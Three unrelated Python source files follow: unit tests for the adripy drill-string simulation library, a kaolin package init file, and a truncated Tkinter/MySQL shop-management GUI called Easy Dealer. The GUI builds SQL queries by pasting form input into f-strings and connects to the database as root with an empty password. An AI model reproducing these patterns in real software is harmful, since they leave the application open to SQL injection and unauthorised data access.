'<example_database>\\holes.tbl\\test_hole.hol', 'Contact_Method': 'Subroutine', 'Cyl_Drag_Coeff': 1.0, 'Hole_Color': 'LtGray', 'Event_Property_File': '<example_database>\\events.tbl\\test_event.evt' } # Read new parameters into the drill string object from a file string_file = os.path.join(f'<{TEST_DATABASE_NAME}>', 'drill_strings.tbl', TEST_EXISTING_STRING_NAME + '.str') drill_string_from_file = adripy.DrillString.read_from_file(string_file) # Remove some keys from the parameters dictionary drill_string_from_file.parameters.pop('_Distance_from_Bit') self.assertDictEqual(drill_string_from_file.parameters, expected_parameters) def test_read_string_from_file_measure_off_on_drillpipe(self): """Tests that the measures are correct after a string is read from a file. """ string_file = os.path.join(f'<{TEST_DATABASE_NAME}>', 'drill_strings.tbl', TEST_EXISTING_STRING_NAME + '.str') drill_string_from_file = adripy.DrillString.read_from_file(string_file) drill_pipe = drill_string_from_file.get_tool('drillpipe') for tool in drill_string_from_file.tools: if tool['DrillTool'] is drill_pipe: measure = tool['Measure'] self.assertEqual(measure, 'no') def test_read_string_from_file_no_dfb(self): expected_parameters = { 'Units': 'Imperial', 'ModelName': 'test_string', 'OutputName': 'test_string', 'Gravity': 32.187, 'Deviation_Deg': 0.0, 'Adams_Results': 'animation', 'Adams_Graphics': 'off', 'Adams_Requests': 'on', 'Distance_from_Bit': [], 'SolverDLL': 'adrill_solver', 'Hole_Property_File': '<example_database>\\holes.tbl\\test_hole.hol', 'Contact_Method': 'Subroutine', 'Cyl_Drag_Coeff': 1.0, 'Hole_Color': 'LtGray', 'Event_Property_File': '<example_database>\\events.tbl\\test_event.evt' } # Read new parameters into the drill string object from a file string_file = os.path.join(f'<{TEST_DATABASE_NAME}>', 'drill_strings.tbl', TEST_EXISTING_STRING_NAME_NO_DFB + '.str') drill_string_from_file = adripy.DrillString.read_from_file(string_file) # Remove some keys from the parameters dictionary drill_string_from_file.parameters.pop('_Distance_from_Bit') self.assertDictEqual(drill_string_from_file.parameters, expected_parameters) def test_read_string_from_file_first_tool(self): """Tests that the first few tools are correct after the string is read from a file """ expected_tool = { 'Name': 'test_pdc', 'Type': 'pdc_bit', 'Property_File': '<example_database>\\pdc_bits.tbl\\test_pdc.pdc', 'Measure': 'yes', 'Color': 'Default', 'Stack_Order': 1, 'Number_of_Joints': 1, } # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE) # Get the first tool actual_tool = drill_string.tools[0] # Remove the DrillTool key from the dictionary (for testing purposes) actual_tool.pop('DrillTool') self.assertDictEqual(actual_tool, expected_tool) def test_read_string_from_file_drillpipe(self): """Tests that the first few tools are correct after the string is read from a file """ expected_tool = { 'Name': 'test_pdc', 'Type': 'pdc_bit', 'Property_File': '<example_database>\\pdc_bits.tbl\\test_pdc.pdc', 'Measure': 'yes', 'Color': 'Default', 'Stack_Order': 1, 'Number_of_Joints': 1, } # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE) # Get the first tool actual_tool = drill_string.tools[0] # Remove the DrillTool key from the dictionary (for testing purposes) actual_tool.pop('DrillTool') self.assertDictEqual(actual_tool, expected_tool) def test_read_string_from_file_last_tool(self): """Tests that the first few tools are correct after the string is read from a file """ expected_tool = { 'Name': 'equivalent_pipe', 'Type': 'equivalent_upper_string', 'Property_File': '<example_database>\\drill_pipes.tbl\\test_eus.pip', 'Measure': 'yes', 'Color': 'Default', 'Stack_Order': 18, 'Number_of_Joints': 19, } # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE) # Get the first tool actual_tool = drill_string.tools[-1] # Remove the DrillTool key from the dictionary (for testing purposes) actual_tool.pop('DrillTool') self.assertDictEqual(actual_tool, expected_tool) def test_read_string_from_file_bit_object(self): """Test that bit object attributes are corrct after a string is read from a file """ expected_property_file = '<example_database>\\pdc_bits.tbl\\test_pdc.pdc' expected_name = 'test_pdc' expected_tool_type = 'pdc_bit' expected_extension = 'pdc' expected_table = 'pdc_bits.tbl' # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE) # Get the first tool bit = drill_string.tools[0]['DrillTool'] failures = [] expected_attributes = [expected_property_file, expected_name, expected_tool_type, expected_extension, expected_table] actual_attributes = [bit.property_file, bit.name, bit.tool_type, bit.extension] for actual, expected in zip(actual_attributes, expected_attributes): if actual != expected: failures.append('Attribute Mismatch: {} -- {}'.format(actual, expected)) self.assertListEqual(failures,[]) def test_read_string_from_file_drillpipe_object(self): """Test that bit object attributes are corrct after a string is read from a file """ expected_property_file = '<example_database>\\drill_pipes.tbl\\test_eus.pip' expected_name = 'test_eus' expected_tool_type = 'drillpipe' expected_extension = 'pip' expected_table = 'drill_pipes.tbl' # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE) # Get the first tool bit = drill_string.tools[-1]['DrillTool'] failures = [] expected_attributes = [expected_property_file, expected_name, expected_tool_type, expected_extension, expected_table] actual_attributes = [bit.property_file, bit.name, bit.tool_type, bit.extension] for actual, expected in zip(actual_attributes, expected_attributes): if actual != expected: failures.append('Attribute Mismatch: {} -- {}'.format(actual, expected)) self.assertListEqual(failures,[]) def test_read_string_from_file_ntools(self): """Tests that the number of tools is correct after a string is read from a file """ expected_n_tools = 18 # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE) actual_n_tools = len(drill_string.tools) self.assertEqual(actual_n_tools, expected_n_tools) def test_read_string_from_file_collar(self): """Tests that a string file is read correctly when it has a collar in it. """ # Read new parameters into the drill string object from a file drill_string = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE_COLLAR) # Get the collar from the drill string collar = drill_string.get_tool('drill_collar') # Messy way to find the collar in the strings tools list # and get the number of joints for tool in drill_string.tools: if tool['DrillTool'] is collar: actual_n_joints = tool['Number_of_Joints'] # Set the expected number of joins expected_n_joints = 2 self.assertEqual(actual_n_joints, expected_n_joints) def test_read_string_from_file_wrong_case_in_refs(self): """Tests that a string file is read correctly when it has a collar in it. """ # Read new parameters into the drill string object from a file drill_string_from_file = adripy.DrillString.read_from_file(TEST_EXISTING_STRING_FILE_WRONG_CASE) expected_parameters = { 'Units': 'Imperial', 'ModelName': 'test_string_wrong_case', 'OutputName': 'test_string_wrong_case', 'Gravity': 32.187, 'Deviation_Deg': 0.0, 'Adams_Results': 'animation', 'Adams_Graphics': 'off', 'Adams_Requests': 'on', 'Distance_from_Bit': [100.0, 300.0, 500.0], 'SolverDLL': 'adrill_solver', 'Hole_Property_File': '<ExAmPlE_dAtAbAsE>\\holes.tbl\\test_hole.hol', 'Contact_Method': 'Subroutine', 'Cyl_Drag_Coeff': 1.0, 'Hole_Color': 'LtGray', 'Event_Property_File': '<ExAmPlE_dAtAbAsE>\\events.tbl\\test_event.evt' } # Remove some keys from the parameters dictionary drill_string_from_file.parameters.pop('_Distance_from_Bit') self.assertDictEqual(drill_string_from_file.parameters, expected_parameters) def test_read_string_from_file_relative_references(self): """Tests that the string is read correctly when the file uses relative references. """ drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Create an event object event = adripy.DrillEvent(TEST_EVENT_NAME,2000, 3) event.add_simulation_step(10) event.add_simulation_step(100) event.add_ramp('FLOW_RATE', 0, 15, 500) event.add_ramp('ROTARY_RPM', 15, 15, 60) event.add_ramp('WOB', 30, 15, 50) event.add_ramp('ROP', 30, 15, 100) # Create a solver settings object solver_settings = adripy.DrillSolverSettings(TEST_SOLVER_SETTINGS_NAME) # Create a DrillSim object drill_sim = adripy.DrillSim(drill_string, event, solver_settings, TEST_WORKING_DIRECTORY, TEST_ANALYSIS_NAME) try: _drill_string = adripy.DrillString.read_from_file(os.path.join(drill_sim.directory, drill_sim.string_filename)) except FileNotFoundError as err: self.fail('Failed to read the drill string: ' + traceback.format_exc()) def test_get_tool_first(self): """Tests that DrillString.get_tool() returns the correct value. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Define a new stabilizer object different_stabilizer = adripy.DrillTool(TEST_STABILIZER_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(different_stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) got_tool = drill_string.get_tool('stabilizer') self.assertEqual(got_tool, self.stabilizer) def test_get_tool_last(self): """Tests that DrillString.get_tool() returns the correct value. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Define a new stabilizer object different_stabilizer = adripy.DrillTool(TEST_STABILIZER_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(different_stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) got_tool = drill_string.get_tool('stabilizer', index=-1) self.assertEqual(got_tool, different_stabilizer) def test_get_tool_1(self): """Tests that DrillString.get_tool() returns the correct value. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Define a new stabilizer object different_stabilizer = adripy.DrillTool(TEST_STABILIZER_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(different_stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) got_tool = drill_string.get_tool('stabilizer', index=0) self.assertEqual(got_tool, self.stabilizer) def test_get_tool_2(self): """Tests that DrillString.get_tool() returns the correct value. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Define a new stabilizer object different_stabilizer = adripy.DrillTool(TEST_STABILIZER_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(different_stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) got_tool = drill_string.get_tool('stabilizer', index=1) self.assertEqual(got_tool, different_stabilizer) def test_set_pipe_joints_physical(self): """Tests that DrillString.set_pipe_joints() correctly sets the number of joints of physical pipe. """ expected_joints = 100 # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) drill_string.set_pipe_joints(expected_joints) actual_joints = drill_string.tools[-2]['Number_of_Joints'] self.assertEqual(actual_joints, expected_joints) def test_set_pipe_joints_equivalent(self): """Tests that DrillString.set_pipe_joints() correctly sets the number of joints of equivalent pipe. """ expected_joints = 100 # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) drill_string.set_pipe_joints(expected_joints, equivalent=True) actual_joints = drill_string.tools[-1]['Number_of_Joints'] self.assertEqual(actual_joints, expected_joints) def test_get_bha_length(self): """Tests that DrillString.get_bha_length() returns the correct length. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.stabilizer, measure='no') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) expected_length = 14.48 actual_length = drill_string.get_bha_length() self.assertEqual(actual_length, expected_length) def test_get_bha_length_wrong_case(self): """Tests that DrillString.get_bha_length() returns the correct length. """ expected_length = 502.393 actual_length = adripy.get_bha_length(TEST_EXISTING_STRING_FILE_WRONG_CASE) self.assertEqual(actual_length, expected_length) def test_change_tool_name(self): """Tests that changing the name of a :class:`DrillTool` object causes the 'Name' and 'Property_File' values in :attr:`DrillString.tools` to change as well. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.motor, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Get the motor motor = drill_string.get_tool('motor') # Rename the motor expected_tool_name = 'new_motor_name' motor.rename(expected_tool_name) # Get the motor as recorded in the drill_string.tools list actual_tool_name = drill_string.tools[1]['Name'] # Delete the tool file that was created os.remove(os.path.join(TEST_DATABASE_PATH, 'motors.tbl', f'{expected_tool_name}.mot')) self.assertEqual(actual_tool_name, expected_tool_name) def test_change_tool_property_file(self): """Tests that changing the name of a :class:`DrillTool` object causes the 'Name' and 'Property_File' values in :attr:`DrillString.tools` to change as well. """ # Create a DrillString object drill_string = adripy.DrillString(TEST_STRING_NAME, TEST_EXISTING_HOLE_FILE, TEST_EVENT_FILE) # Add the DrillTool objects to the DrillString object drill_string.add_tool(self.pdc_bit, measure='yes') drill_string.add_tool(self.motor, measure='yes') drill_string.add_tool(self.stabilizer, measure='yes') drill_string.add_tool(self.drill_pipe, joints=20, group_name='Upper_DP_Group') drill_string.add_tool(self.eus, joints=20, group_name='equivalent_pipe', equivalent=True) drill_string.add_tool(self.top_drive) # Get the motor motor = drill_string.get_tool('motor') # Rename the motor expected_tool_name = 'new_motor_name' expected_tool_propertyfile = os.path.join(f'<{TEST_DATABASE_NAME}>', 'motors.tbl', f'{expected_tool_name}.mot') motor.rename(expected_tool_name) # Get the motor as recorded in the drill_string.tools list actual_tool_propertyfile = drill_string.tools[1]['Property_File'] # Delete the tool file that was created os.remove(os.path.join(TEST_DATABASE_PATH, 'motors.tbl', f'{expected_tool_name}.mot')) self.assertEqual(actual_tool_propertyfile, expected_tool_propertyfile) def tearDown(self): # Delete test config file os.remove(TEST_CONFIG_FILENAME) os.environ['ADRILL_USER_CFG'] = os.path.join(os.environ['USERPROFILE'], '.adrill.cfg') # Delete string file from test_write_string_to_database() try: os.remove(os.path.join(TEST_DATABASE_PATH, 'drill_strings.tbl', TEST_STRING_NAME + '.str')) except FileNotFoundError: pass # Clear the entire new database clear_database(TEST_NEW_DATABASE_PATH)

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Python

kaolin/ops/__init__.py

priyasundaresan/kaolin

ddae34ba5f09bffc4368c29bc50491c5ece797d4

[ "ECL-2.0", "Apache-2.0" ]

3,747

2019-11-13T02:18:16.000Z

2022-03-31T21:12:31.000Z

kaolin/ops/__init__.py

priyasundaresan/kaolin

ddae34ba5f09bffc4368c29bc50491c5ece797d4

[ "ECL-2.0", "Apache-2.0" ]

371

2019-11-13T14:50:59.000Z

2022-03-22T19:40:06.000Z

kaolin/ops/__init__.py

priyasundaresan/kaolin

ddae34ba5f09bffc4368c29bc50491c5ece797d4

[ "ECL-2.0", "Apache-2.0" ]

482

2019-11-13T05:04:38.000Z

2022-03-31T10:20:26.000Z

from . import batch from . import conversions from . import gcn from . import mesh from . import random from . import reduction from . import spc from . import voxelgrid

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Python

Easy_Dealer_Owner.py

Apex-Predator-s/Apex_Predator-s_Repository

4f8016b56f7bfeb338233d6b882336c451cb9d0c

[ "MIT" ]

null

Easy_Dealer_Owner.py

Apex-Predator-s/Apex_Predator-s_Repository

4f8016b56f7bfeb338233d6b882336c451cb9d0c

[ "MIT" ]

null

Easy_Dealer_Owner.py

Apex-Predator-s/Apex_Predator-s_Repository

4f8016b56f7bfeb338233d6b882336c451cb9d0c

[ "MIT" ]

null

from tkinter import* from tkinter import ttk from PIL import ImageTk, Image from ttkthemes import themed_tk as tk from PyQt5 import QtWidgets import os import mysql.connector from tkinter import messagebox import Login_Page directory_path = os.path.dirname(__file__) class Owner: def __init__(self, root, username): self.root = root self.username = username screen_width = self.root.winfo_screenwidth() screen_height = self.root.winfo_screenheight() start_width = int((screen_width - 1280) / 2) start_height = int((screen_height - 720) / 2) self.root.title('Easy Dealer') self.root.iconbitmap(directory_path + '/images/logo.ico') self.root.geometry(f'1280x720+{start_width}+{start_height - 30}') self.root.resizable(False, False) self.root.config(bg='#1F2026') def bound_to_mousewheel(event): showall_canvas.bind_all("<MouseWheel>", on_mousewheel) def unbound_to_mousewheel(event): showall_canvas.unbind_all("<MouseWheel>") def on_mousewheel(event): showall_canvas.yview_scroll(int(-1 * (event.delta / 120)), "units") def dashboard_button_clicked(): self.dashboard_button.config(bg='#3C3F4A') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') for widget in self.content_frame.winfo_children(): widget.destroy() try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT Full_Name FROM user_table WHERE UserName = "{self.username}"' my_cursor.execute(query) fullname = my_cursor.fetchone()[0] except Exception as e: print(e) dashboard_bg_label = Label(self.content_frame, image=self.dashboard_bg_image) dashboard_bg_label.place(x=-2, y=-2) welcome_label = Label(self.content_frame, text='WELCOME,', font=('Arial Rounded MT', 13, 'bold'), bg='#292B37', fg='white') welcome_label.place(x=21, y=14) name_label = Label(self.content_frame, text=fullname, anchor='w', width=25, font=('Arial Rounded MT', 13, 'bold'), bg='#292B37', fg='#BBBBBB') name_label.place(x=118, y=14) recent_sells_label = Label(self.content_frame, text='Recent sells,', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') recent_sells_label.place(x=21, y=65) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM sell ORDER BY Sell_ID DESC LIMIT 3' my_cursor.execute(query) sell_details = my_cursor.fetchall() # sell_details = [] if len(sell_details) >= 1: customer_id = sell_details[0][1] product_name = sell_details[0][5] selling_price = sell_details[0][3] date_of_sell = sell_details[0][4] query = f'SELECT full_name FROM customer WHERE Customer_ID = "{customer_id}"' my_cursor.execute(query) customer_name = my_cursor.fetchone()[0] customer_name_label = Label(self.content_frame, text=f'Customer Name: {customer_name}', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') customer_name_label.place(x=45, y=309) product_name_label = Label(self.content_frame, text=f'Product Name: {product_name}', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') product_name_label.place(x=45, y=334) selling_price_label = Label(self.content_frame, text=f'Selling Price: {selling_price} $', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_price_label.place(x=45, y=359) selling_date_label = Label(self.content_frame, text=f'Selling Date: {date_of_sell}', anchor='w', width=38, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_date_label.place(x=45, y=384) else: self.no_content = Label(self.content_frame, text=f'No contents available to show..', font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') self.no_content.place(x=90, y=340) if len(sell_details) >= 2: customer_id = sell_details[1][1] product_name = sell_details[1][5] selling_price = sell_details[1][3] date_of_sell = sell_details[1][4] query = f'SELECT full_name FROM customer WHERE Customer_ID = "{customer_id}"' my_cursor.execute(query) customer_name = my_cursor.fetchone()[0] customer_name_label = Label(self.content_frame, text=f'Customer Name: {customer_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') customer_name_label.place(x=423, y=179) product_name_label = Label(self.content_frame, text=f'Product Name: {product_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') product_name_label.place(x=423, y=204) selling_price_label = Label(self.content_frame, text=f'Selling Price: {selling_price} $', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_price_label.place(x=423, y=229) selling_date_label = Label(self.content_frame, text=f'Selling Date: {date_of_sell}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_date_label.place(x=423, y=254) else: self.no_content = Label(self.content_frame, text=f'No contents available to show..', font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') self.no_content.place(x=550, y=210) if len(sell_details) >= 3: customer_id = sell_details[2][1] product_name = sell_details[2][5] selling_price = sell_details[2][3] date_of_sell = sell_details[2][4] query = f'SELECT full_name FROM customer WHERE Customer_ID = "{customer_id}"' my_cursor.execute(query) customer_name = my_cursor.fetchone()[0] customer_name_label = Label(self.content_frame, text=f'Customer Name: {customer_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') customer_name_label.place(x=423, y=440) product_name_label = Label(self.content_frame, text=f'Product Name: {product_name}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') product_name_label.place(x=423, y=465) selling_price_label = Label(self.content_frame, text=f'Selling Price: {selling_price} $', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_price_label.place(x=423, y=490) selling_date_label = Label(self.content_frame, text=f'Selling Date: {date_of_sell}', anchor='w', width=65, font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') selling_date_label.place(x=423, y=515) else: self.no_content = Label(self.content_frame, text=f'No contents available to show..', font=('Arial Rounded MT', 10, 'bold'), bg='#333640', fg='white') self.no_content.place(x=550, y=470) except Exception as e: print(e) def show_products_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#3C3F4A') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') for widget in self.content_frame.winfo_children(): widget.destroy() for widget in self.content_frame.winfo_children(): widget.destroy() def bound_to_mousewheel(event): showall_canvas.bind_all("<MouseWheel>", on_mousewheel) def unbound_to_mousewheel(event): showall_canvas.unbind_all("<MouseWheel>") def on_mousewheel(event): showall_canvas.yview_scroll(int(-1 * (event.delta / 120)), "units") temp_frame = Frame(self.content_frame, width=960, height=514, bg='#292B37', border=None) temp_frame.place(x=2, y=115) showall_canvas = Canvas(temp_frame, width=960, height=514, bg='#292B37') vertical_bar = ttk.Scrollbar(temp_frame, orient='vertical', command=showall_canvas.yview) vertical_bar.pack(side=RIGHT, fill='y') showall_canvas.config(yscrollcommand=vertical_bar.set) final_frame = Frame(temp_frame, width=960, height=514, bg='#292B37') showall_canvas.create_window((0, 0), window=final_frame, anchor='nw') showall_canvas.bind('<Configure>', lambda e: showall_canvas.configure(scrollregion=showall_canvas.bbox('all'))) final_frame.bind('<Enter>', bound_to_mousewheel) final_frame.bind('<Leave>', unbound_to_mousewheel) border_hide_frame1 = Frame(self.content_frame, bg='#292B37', height=7, width=958) border_hide_frame1.place(x=6, y=111) border_hide_frame2 = Frame(self.content_frame, bg='#292B37', height=638, width=7) border_hide_frame2.place(x=-1, y=111) border_hide_frame3 = Frame(self.content_frame, bg='#292B37', height=519, width=7) border_hide_frame3.place(x=959, y=112) showall_canvas.config(yscrollcommand=vertical_bar.set) showall_canvas.pack(side=LEFT, expand=True, fill=BOTH) show_product_bg_frame = Frame(self.content_frame, bg='#292B37', height=107, width=958) show_product_bg_frame.place(x=2, y=9) show_employees_bg_label = Label(show_product_bg_frame, image=self.show_employees_bg_image, bg='#292B37') show_employees_bg_label.place(x=-2, y=-2) show_product_label = Label(show_product_bg_frame, text='SHOW PRODUCT INFORMATION', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') show_product_label.place(x=50, y=40) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM product;' my_cursor.execute(query) products = my_cursor.fetchall() for i in range(len(products)): employee_frame = Frame(final_frame, bg='#292B37', height=340, width=958) employee_frame_bg_label = Label(employee_frame, image=self.show_employee_bg_image, bg='#292B37') employee_frame_bg_label.place(x=-2, y=-2) product_name_label = Label(employee_frame, text=products[i][1], font=('Arial Rounded MT', 17, 'bold'), bg='#292B37', fg='white') product_name_label.place(x=90, y=68) product_price_label = Label(employee_frame, text='$ ' + str(products[i][3]), font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='white') product_price_label.place(x=90, y=101) product_id_label = Label(employee_frame, text=f'Product ID : {products[i][0]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_id_label.place(x=90, y=153) product_category_label = Label(employee_frame, text=f'Category : {products[i][2]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_category_label.place(x=90, y=201) dop_label = Label(employee_frame, text=f'Date of purchase : {products[i][4]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dop_label.place(x=90, y=249) employee_frame.pack() except Exception as e: print(e) def add_products_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#3C3F4A') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') def add(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass product_name = product_name_edit.get() product_id = product_id_edit.get() purchase_price = purchase_price_edit.get() product_category = product_category_edit.get() dop = dop_edit.get() if product_name == '' or product_id == '' or purchase_price == '' or product_category == '' or dop == '': alert_label.config(text='Fill up all the fields', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'INSERT INTO Product VALUES ("{product_id}", "{product_name}", "{product_category}", {purchase_price}, "{dop}");' my_cursor.execute(query) db.commit() db.close() alert_label.config(text='Product has been added successfully..', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) product_name_edit.delete(0, 'end') product_id_edit.delete(0, 'end') purchase_price_edit.delete(0, 'end') product_category_edit.delete(0, 'end') dop_edit.delete(0, 'end') except Exception as e: alert_label.config(text='Sorry! Invalid input..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in self.content_frame.winfo_children(): widget.destroy() self.add_products_bg_label = Label(self.content_frame, image=self.add_products_bg_image) self.add_products_bg_label.place(x=-2, y=-2) add_product_label = Label(self.content_frame, text='ADD PRODUCT', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') add_product_label.place(x=50, y=50) product_name_label = Label(self.content_frame, text='Product Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_name_label.place(x=106, y=184) product_id_label = Label(self.content_frame, text='Product ID', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_id_label.place(x=106, y=240) purchase_price_label = Label(self.content_frame, text='Purchase Price', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') purchase_price_label.place(x=106, y=307) product_category_label = Label(self.content_frame, text='Product Category', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') product_category_label.place(x=106, y=369) dop_label = Label(self.content_frame, text='Date Of Purchase', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dop_label.place(x=106, y=432) product_name_edit = 